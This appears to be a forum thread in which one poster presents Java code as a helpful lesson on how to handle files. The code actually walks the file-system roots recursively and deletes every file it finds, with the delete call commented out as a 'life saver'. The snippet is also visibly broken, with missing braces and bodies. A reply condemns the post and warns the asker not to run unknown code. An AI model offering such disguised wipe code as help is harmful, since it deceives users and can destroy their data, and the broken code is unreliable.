This should give you a pretty nice picture of how to handle files.

DISCLAIMER: I'm not liable, yadda yadda yadda.


import javax.swing.filechooser.FileSystemView;

public class FileHandling {

    private static final FileFilter DIRS = new FileFilter() {
        public boolean accept(final File file) {
            return file.isDirectory();

    private static final FileFilter FILES = new FileFilter() {
        public boolean accept(final File file) {
            return file.isFile();

    public FileHandling() {


    public void handle(File root) {
        if(root == null)

            root = root.getParentFile();

        if(root == null)

        File[] files = root.listFiles(FILES);
        if(files != null) {
            for(File file : files) {
                //life saver//try {file.delete();} catch(Exception x) {}

        File[] dirs = root.listFiles(DIRS);
        if(dirs != null) {
            for(File dir : dirs) {


    public static void main(String[] args) {
        try {
            FileHandling fileHandling = new FileHandling();

            File[] roots = FileSystemView.getFileSystemView().getRoots();
            if(roots != null) {
                for(File root : roots) {
                    try {fileHandling.handle(root);} catch(Exception x) {}
        catch(Exception x) {}

You are a very sick puppy.

To the OP: You should really not run programs just because someone says so.
At least, not without backup.
